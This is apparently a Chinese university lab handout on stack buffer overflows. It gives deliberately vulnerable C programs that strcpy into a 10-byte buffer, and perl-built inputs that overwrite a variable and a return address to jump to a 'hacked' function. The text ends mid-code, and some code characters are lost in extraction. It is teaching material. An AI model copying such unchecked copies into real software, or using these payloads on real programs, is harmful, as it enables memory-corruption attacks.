網(wǎng)絡安全實驗二

1、實驗二 棧溢出實驗【實驗內(nèi)容】利用棧溢出修改變量值利用棧溢出修改函數(shù)返回地址，運行惡意代碼【實驗類型】驗證型實驗【實驗學時】3學時【實驗原理】如果向棧上聲明的緩沖區(qū)中復制數(shù)據(jù)，但是復制到數(shù)據(jù)量又比緩沖區(qū)大的時候，就會發(fā)生棧溢出。在棧上聲明的各種變量的位置緊臨函數(shù)調(diào)用程序的返回地址。若用戶輸入的數(shù)據(jù)未經(jīng)驗證就傳遞給strcpy這樣的函數(shù)，則會導致變量值被攻擊者指定的值所改寫或調(diào)用函數(shù)的返回地址將被攻擊者選擇的地址所覆蓋，打亂程序正常運行流程，轉(zhuǎn)而執(zhí)行惡意代碼。防范棧溢出的有效方法有：禁止棧執(zhí)行，從而阻止攻擊者植入惡意代碼；編寫安全可靠的代碼，始終對輸入的內(nèi)容進行驗證；利用編譯器的邊界檢查實現(xiàn)棧保

2、護。【實驗環(huán)境】Linux實驗臺(CentOS)gcc和gdb工具【實驗步驟】打開Linux實驗臺，輸入用戶名和口令，進入系統(tǒng)。一、 修改變量值(1) 新建stackover1.c文件：touch stackover1.c；(2) 編輯stackover1.c文件：vim stackover1.c，按i鍵進如編輯模式，輸入示例程序1，按Esc鍵退出編輯模式，進入命令行，輸入:wq保存并退出文件編輯，上述過程如圖3.5.37和圖3.5.38所示； (3) 查看編輯結(jié)果：cat stackover1.c，如圖3.5.39所示； (4) 生成可執(zhí)行文件：gcc stackover1.c o stac

3、kover1；(5) 運行執(zhí)行文件：./ stackover1 ABCDE，執(zhí)行結(jié)果如圖3.5.310所示； 從結(jié)果中可以看出，x的值為程序中的設(shè)定值10；(6) 在內(nèi)存中x緊鄰buf，所以輸入11個字符制造棧緩沖區(qū)溢出，以修改x所在地址空間的值：./ stackover1 ABCDEFGHIJK，運行結(jié)果如圖3.5.311所示； x的值為75，對應K的ASCII碼，x的值發(fā)生改變；(7) 利用perl命令輸入適當?shù)淖址?，將x的值修改為任意指定的值，如修改為30，十六進制為0x1e：./ stackover1 perl e print “A”x10 . “x1e”，運行結(jié)果如圖3.5.312

4、所示； x的值為30，修改成功。示例程序1：#include <stdio.h>#include <string.h>void function(char * str) char buf10; int x=10; strcpy(buf,str); printf("x=%dn",x);int main(int argc,char * argv) function(argv1); return 0;二、 修改函數(shù)返回地址，運行惡意代碼(1) 參照上述步驟，新建stackover2.c文件，輸入示例程序2，生成可執(zhí)行文件stackover2；(2) 運行可

5、執(zhí)行文件并查看結(jié)果：./ stackover2 AAAAA，結(jié)果如圖3.5.313所示； 從結(jié)果中可以看出程序運行的棧情況，foo函數(shù)的返回地址位于第7個位置上，bar的函數(shù)入口地址為0x08048421；(3) 隨意輸入多個字符制造棧溢出：./ stackover2 perl e print “A”x25，運行結(jié)果如圖3.5.315所示； (4) 構(gòu)造輸入字符串，將第7個位置修改為bar函數(shù)入口地址，即修改foo函數(shù)的返回地址為bar函數(shù)的入口地址，以修改程序運行流程：./ stackover2 perl e print “A”x14 . “x21x84x04x08”，運行結(jié)果如圖3.5.3

6、17所示； bar函數(shù)運行，打印出“Hi!Youve been hacked!”，攻擊成功。通常我們無法獲取函數(shù)的地址和程序運行時棧的情況，需要通過反編譯來查看變量地址或函數(shù)的入口地址，通過深入理解程序運行時的內(nèi)存分配來計算函數(shù)返回地址在內(nèi)存中的位置，以便達到修改程序運行流程、執(zhí)行惡意代碼的目的示例程序2#include <stdio.h>#include <string.h>void foo(const char *input)char buf10;printf("My stack looks like:n%p n%p n%p n%p n%p n%p n%p

7、 n%p n n");strcpy(buf,input);printf("%sn",buf);printf("Now the stack looks like:n%p n%p n%p n%p n%p n%p n%p n%p n n");void bar(void)printf("Hi!You've been hacked!n"); int main(int argc,char *argv)printf("Address of foo=%p n",foo);printf("Address of bar=%p n",bar);foo(argv1);return 0;【實驗思考】嘗試分析并畫出上述程序的棧結(jié)構(gòu)，可借助gdb命令；嘗試在Windows環(huán)境下進行上述實驗，并分析與Linux環(huán)境下的異同；根據(jù)程序運行時的內(nèi)存分配原理計算函數(shù)的返回地址；以示例程序3為例，通過計算快速實現(xiàn)nevercalled函數(shù)的運行。示例程序3#include <stdio.h>#include <string.h>void nevercalled() printf("never calledn"); exit(0);void funct